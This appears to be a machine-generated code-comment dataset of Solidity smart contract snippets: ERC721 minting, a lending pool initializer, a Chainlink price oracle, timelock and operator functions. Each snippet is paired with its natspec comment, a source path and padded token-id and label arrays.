address owner = _ownerOf[id];
require(owner != address(0), "NOT_MINTED");
unchecked {
_balanceOf[owner]--;
}
delete _ownerOf[id];
delete getApproved[id];
emit Transfer(owner, address(0), id);
}
INTERNAL SAFE MINT LOGIC
function _safeMint(address to, uint256 id) internal virtual {
_mint(to, id);
if (to.code.length != 0)
require(
ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function _safeMint(
address to,
uint256 id,
bytes memory data
) internal virtual {
_mint(to, id);
if (to.code.length != 0)
require(
ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
}
| 4,878,588 |
[
1,
1739,
8865,
16,
16745,
376,
16,
471,
16189,
14382,
4232,
39,
17,
27,
5340,
4471,
18,
225,
348,
355,
81,
340,
261,
4528,
2207,
6662,
18,
832,
19,
54,
12954,
17,
4664,
7053,
19,
18281,
81,
340,
19,
10721,
19,
5254,
19,
4816,
19,
7860,
19,
654,
39,
27,
5340,
18,
18281,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
17801,
6835,
4232,
39,
27,
5340,
288,
203,
4766,
9964,
55,
203,
203,
565,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
5034,
8808,
612,
1769,
203,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
3410,
16,
1758,
8808,
17571,
264,
16,
2254,
5034,
8808,
612,
1769,
203,
203,
565,
871,
1716,
685,
1125,
1290,
1595,
12,
2867,
8808,
3410,
16,
1758,
8808,
3726,
16,
1426,
20412,
1769,
203,
203,
7682,
24175,
2347,
15553,
19,
4842,
2871,
203,
203,
565,
533,
1071,
508,
31,
203,
203,
565,
533,
1071,
3273,
31,
203,
203,
565,
445,
1147,
3098,
12,
11890,
5034,
612,
13,
1071,
1476,
5024,
1135,
261,
1080,
3778,
1769,
203,
203,
8227,
4232,
39,
27,
5340,
605,
1013,
4722,
19,
29602,
2347,
15553,
203,
203,
565,
2874,
12,
11890,
5034,
516,
1758,
13,
2713,
389,
8443,
951,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
2713,
389,
12296,
951,
31,
203,
203,
683,
9454,
18035,
560,
1545,
20,
18,
28,
18,
20,
31,
203,
565,
445,
3410,
951,
12,
11890,
5034,
612,
13,
1071,
1476,
5024,
1135,
261,
2867,
3410,
13,
288,
203,
3639,
2583,
12443,
8443,
273,
389,
8443,
951,
63,
350,
5717,
480,
1758,
12,
20,
3631,
315,
4400,
67,
6236,
6404,
8863,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
3410,
13,
1071,
1476,
5024,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
8443,
480,
1758,
12,
20,
3631,
315,
24968,
67,
15140,
8863,
203,
203,
3639,
2
] |
./partial_match/1/0x0Cd8De7c258cc8c840A8c5Fd46470bD290a87ff6/sources/src/TokenManager.sol
|
* @notice The denominator of reserve ratio and threshold that has 18 decimals/* @notice The denominator of swapping fee that has 6 decimals/* @notice Maximum price tolerances @dev Address of the token => max price tolerance/* @notice Minimum price tolerances @dev Address of the token => min price tolerance/* @notice Maps the pair hash to `PairConfig` that contains two token addresses, fee numerators and reserve ratio thresholds/* @notice Emitted when the setting of the pair is updated/* @notice Reverts if `msg.sender` does not have `TIMELOCK_ROLE`/
|
modifier onlyTimelock() {
if (!hasRole(TIMELOCK_ROLE, msg.sender)) {
revert NotTimelock(msg.sender);
}
_;
}
constructor(
address governor_,
address timelock_,
address usd1_,
TokenConfig[] memory tokens_,
PairConfig[] memory pairs_
| 3,623,296 |
[
1,
1986,
15030,
434,
20501,
7169,
471,
5573,
716,
711,
6549,
15105,
19,
225,
1021,
15030,
434,
7720,
1382,
14036,
716,
711,
1666,
15105,
19,
225,
18848,
6205,
6085,
264,
6872,
225,
5267,
434,
326,
1147,
516,
943,
6205,
10673,
19,
225,
23456,
6205,
6085,
264,
6872,
225,
5267,
434,
326,
1147,
516,
1131,
6205,
10673,
19,
225,
19837,
326,
3082,
1651,
358,
1375,
4154,
809,
68,
716,
1914,
2795,
1147,
6138,
16,
14036,
26511,
3062,
471,
20501,
7169,
19983,
19,
225,
512,
7948,
1347,
326,
3637,
434,
326,
3082,
353,
3526,
19,
225,
868,
31537,
309,
1375,
3576,
18,
15330,
68,
1552,
486,
1240,
1375,
4684,
6589,
67,
16256,
68,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
9606,
1338,
10178,
292,
975,
1435,
288,
203,
3639,
309,
16051,
5332,
2996,
12,
4684,
6589,
67,
16256,
16,
1234,
18,
15330,
3719,
288,
203,
5411,
15226,
2288,
10178,
292,
975,
12,
3576,
18,
15330,
1769,
203,
3639,
289,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
3885,
12,
203,
3639,
1758,
314,
1643,
29561,
67,
16,
203,
3639,
1758,
1658,
292,
975,
67,
16,
203,
3639,
1758,
584,
72,
21,
67,
16,
203,
3639,
3155,
809,
8526,
3778,
2430,
67,
16,
203,
3639,
8599,
809,
8526,
3778,
5574,
67,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x95D4D018F4B21188836b23aAd3eB967378b956C4/sources/contracts/LendingPoolImplementation.sol
|
@notice Initialize the pool with all the user provided settings @param data See the IStructs for the layout
|
function initialize(Data calldata data) external initializer {
__UUPSUpgradeable_init();
__ReentrancyGuard_init();
mintRatio = data.mintRatio;
owner = data.deployer;
colToken = IERC20(data.colToken);
lendToken = IERC20(data.lendToken);
factory = IPoolFactory(data.factory);
priceFeed = IVendorOracle(data.oracle);
feeManager = IFeesManager(data.feesManager);
treasury = factory.treasury();
protocolFee = data.protocolFee;
protocolColFee = data.protocolColFee;
expiry = data.expiry;
undercollateralized = data.undercollateralized;
if (data.borrowers.length > 0) {
isPrivate = 1;
for (uint256 j = 0; j != data.borrowers.length; ++j) {
borrowers[data.borrowers[j]] = 1;
}
}
}
| 4,186,160 |
[
1,
7520,
326,
2845,
598,
777,
326,
729,
2112,
1947,
225,
501,
2398,
2164,
326,
467,
3823,
87,
364,
326,
3511,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
4046,
12,
751,
745,
892,
501,
13,
3903,
12562,
288,
203,
3639,
1001,
57,
3079,
55,
10784,
429,
67,
2738,
5621,
203,
3639,
1001,
426,
8230,
12514,
16709,
67,
2738,
5621,
203,
3639,
312,
474,
8541,
273,
501,
18,
81,
474,
8541,
31,
203,
3639,
3410,
273,
501,
18,
12411,
264,
31,
203,
3639,
645,
1345,
273,
467,
654,
39,
3462,
12,
892,
18,
1293,
1345,
1769,
203,
3639,
328,
409,
1345,
273,
467,
654,
39,
3462,
12,
892,
18,
80,
409,
1345,
1769,
203,
3639,
3272,
273,
467,
2864,
1733,
12,
892,
18,
6848,
1769,
203,
3639,
6205,
8141,
273,
467,
14786,
23601,
12,
892,
18,
280,
16066,
1769,
203,
3639,
14036,
1318,
273,
467,
2954,
281,
1318,
12,
892,
18,
3030,
281,
1318,
1769,
203,
3639,
9787,
345,
22498,
273,
3272,
18,
27427,
345,
22498,
5621,
203,
3639,
1771,
14667,
273,
501,
18,
8373,
14667,
31,
203,
3639,
1771,
914,
14667,
273,
501,
18,
8373,
914,
14667,
31,
203,
3639,
10839,
273,
501,
18,
22409,
31,
203,
3639,
3613,
12910,
2045,
287,
1235,
273,
501,
18,
9341,
12910,
2045,
287,
1235,
31,
203,
3639,
309,
261,
892,
18,
70,
15318,
414,
18,
2469,
405,
374,
13,
288,
203,
5411,
30911,
273,
404,
31,
203,
5411,
364,
261,
11890,
5034,
525,
273,
374,
31,
525,
480,
501,
18,
70,
15318,
414,
18,
2469,
31,
965,
78,
13,
288,
203,
7734,
29759,
414,
63,
892,
18,
70,
15318,
414,
63,
78,
13563,
273,
404,
31,
203,
5411,
289,
203,
3639,
289,
203,
2
] |
pragma solidity ^0.5.16;
import "./PriceOracle.sol";
import "./CTokenInterface.sol";
import "./CErc20.sol";
import "./interfaces/IChainlinkAggregator.sol";
import "./EIP20Interface.sol";
import "./ExponentialNoError.sol";
contract PriceOracleProxy is PriceOracle, ExponentialNoError {
enum OracleType {
NONE,
CHAINLINK,
FIXED
}
struct TokenInfo {
uint8 decimals;
OracleType oracleType;
}
struct ChainlinkInfo {
IChainlinkAggregator aggregator;
uint8 decimals;
}
struct ExchangeRateInfo {
bool isSet;
/// @notice The base token
address base;
/// @notice The exchange rate
uint256 exchangeRate;
}
/// @notice Indicator that this is a PriceOracle contract (for inspection)
bool public constant isPriceOracle = true;
/// @notice admin can add price aggregators
address public admin;
/// @notice all other tokens are priced against the base token. Its price is 1e18
/// @dev address(0) represent usd
address public baseTokenAddress;
/// @notice tokens managed by the oracle
mapping(address => TokenInfo) public tokens;
/// @notice chainlink price aggregator for each underlying assets
mapping(address => ChainlinkInfo) public chainlinkAggregators;
/// @notice exchange rate for each underlying assets
mapping(address => ExchangeRateInfo) public exchangeRates;
constructor(address admin_, address baseTokenAddress_) public {
admin = admin_;
baseTokenAddress = baseTokenAddress_;
}
/**
* @notice Get the price of a specific token.
* @param token The token to get the price of
* @return The price
*/
function getTokenPrice(address token) public view returns (uint256) {
if (token == baseTokenAddress) {
return 1e18;
}
TokenInfo memory tokenInfo = tokens[token];
if (tokenInfo.oracleType == OracleType.CHAINLINK) {
return getPriceFromChainlink(token);
} else if (tokenInfo.oracleType == OracleType.FIXED) {
return getPriceUsingExchangeRate(token);
}
revert("Token not registered");
}
/**
* @notice Get the underlying price of a cToken asset
* @param cToken The cToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(CTokenInterface cToken) public view returns (uint256) {
address cTokenAddress = address(cToken);
address underlying = CErc20(cTokenAddress).underlying();
uint256 price = getTokenPrice(underlying);
uint256 underlyingDecimals = EIP20Interface(underlying).decimals();
return underlyingDecimals <= 18 ? mul_(price, 10**(18 - underlyingDecimals)) : div_(price, 10**(underlyingDecimals - 18));
}
/**
* @notice Get price from ChainLink
* @param underlying The underlying token that ChainLink aggregator gets the price of
* @return The price, scaled by 1e18
*/
function getPriceFromChainlink(address underlying) internal view returns (uint256) {
ChainlinkInfo memory chainlink = chainlinkAggregators[underlying];
(, int256 price, , , ) = chainlink.aggregator.latestRoundData();
require(price > 0, "invalid price");
// Extend the decimals to 1e18.
return mul_(uint256(price), 10**(18 - uint256(chainlink.decimals)));
}
/**
* @notice Get fixed exchange rate for token
* @param token The token the price will be given
* @return The price, scaled by 1e18
*/
function getPriceUsingExchangeRate(address token) internal view returns (uint256) {
ExchangeRateInfo memory exchangeRate = exchangeRates[token];
uint256 basePrice = getTokenPrice(exchangeRate.base);
return div_(mul_(basePrice, exchangeRate.exchangeRate), 1e18);
}
function setTokenInfo(address token, OracleType oracleType) internal {
tokens[token] = TokenInfo({
decimals: EIP20Interface(token).decimals(),
oracleType: oracleType
});
}
/**
* @notice Set Chainlink aggregator
* @param token The token that ChainLink aggregator gets the price of
* @param aggregator The Chainlink aggregator to get the price from
*/
function _setAggregator(address token, IChainlinkAggregator aggregator) external {
require(msg.sender == admin, "Only admin can add aggregator");
setTokenInfo(token, OracleType.CHAINLINK);
chainlinkAggregators[token] = ChainlinkInfo({
aggregator: aggregator,
decimals: aggregator.decimals()
});
}
/**
* @notice Set fixed price
* @param token The token to set the price of
* @param base The token that is priced against
* @param exchangeRate The price of the token
*/
function _setExchangeRate(address token, address base, uint256 exchangeRate) external {
require(msg.sender == admin, "Only admin can set exchange rate");
setTokenInfo(token, OracleType.FIXED);
exchangeRates[token] = ExchangeRateInfo({isSet: true, base: base, exchangeRate: exchangeRate});
}
}
|
* @notice Get the price of a specific token. @param token The token to get the price of @return The price/
|
function getTokenPrice(address token) public view returns (uint256) {
if (token == baseTokenAddress) {
return 1e18;
}
TokenInfo memory tokenInfo = tokens[token];
if (tokenInfo.oracleType == OracleType.CHAINLINK) {
return getPriceFromChainlink(token);
return getPriceUsingExchangeRate(token);
}
revert("Token not registered");
}
| 7,318,676 |
[
1,
967,
326,
6205,
434,
279,
2923,
1147,
18,
225,
1147,
1021,
1147,
358,
336,
326,
6205,
434,
327,
1021,
6205,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
9162,
5147,
12,
2867,
1147,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
309,
261,
2316,
422,
1026,
1345,
1887,
13,
288,
203,
5411,
327,
404,
73,
2643,
31,
203,
3639,
289,
203,
203,
3639,
3155,
966,
3778,
1147,
966,
273,
2430,
63,
2316,
15533,
203,
203,
3639,
309,
261,
2316,
966,
18,
280,
16066,
559,
422,
28544,
559,
18,
1792,
6964,
10554,
13,
288,
203,
5411,
327,
25930,
1265,
3893,
1232,
12,
2316,
1769,
203,
5411,
327,
25930,
7736,
11688,
4727,
12,
2316,
1769,
203,
3639,
289,
203,
203,
3639,
15226,
2932,
1345,
486,
4104,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x19682A5e90Be8221C1AFa75Fd326A691c6e16d0a/sources/contracts/TestEditionV1.sol
|
* @notice Token URI getter @dev Use a single metadata URI for tokens on the contract @param tokenId Id of the token to get URI of @return Token URI/
|
function tokenURI(uint256 tokenId)
public
view
override(ERC721AUpgradeable)
returns (string memory)
{
require(_exists(tokenId), "invalid token ID");
return _baseURI();
}
| 9,804,427 |
[
1,
1345,
3699,
7060,
225,
2672,
279,
2202,
1982,
3699,
364,
2430,
603,
326,
6835,
225,
1147,
548,
3124,
434,
326,
1147,
358,
336,
3699,
434,
327,
3155,
3699,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1147,
3098,
12,
11890,
5034,
1147,
548,
13,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
3849,
12,
654,
39,
27,
5340,
37,
10784,
429,
13,
203,
3639,
1135,
261,
1080,
3778,
13,
203,
565,
288,
203,
3639,
2583,
24899,
1808,
12,
2316,
548,
3631,
315,
5387,
1147,
1599,
8863,
203,
3639,
327,
389,
1969,
3098,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x13FDeFcadca58916f3BFDD492dBa2F522fb58558/sources/ERC1410Operator.sol
|
@notice Revokes authorisation of an operator previously given for all partitions of `msg.sender` @param _operator An address which is being de-authorised
|
function revokeOperator(
address _operator,
address tokenHolder
) external onlyOwner {
operatorForAllPartitions[tokenHolder][_operator] = false;
emit RevokedOperator(_operator, tokenHolder);
}
| 1,852,808 |
[
1,
10070,
601,
281,
2869,
10742,
434,
392,
3726,
7243,
864,
364,
777,
10060,
434,
1375,
3576,
18,
15330,
68,
225,
389,
9497,
1922,
1758,
1492,
353,
3832,
443,
17,
4161,
5918,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
18007,
5592,
12,
203,
3639,
1758,
389,
9497,
16,
203,
3639,
1758,
1147,
6064,
203,
565,
262,
3903,
1338,
5541,
288,
203,
3639,
3726,
1290,
1595,
13738,
63,
2316,
6064,
6362,
67,
9497,
65,
273,
629,
31,
203,
3639,
3626,
14477,
14276,
5592,
24899,
9497,
16,
1147,
6064,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
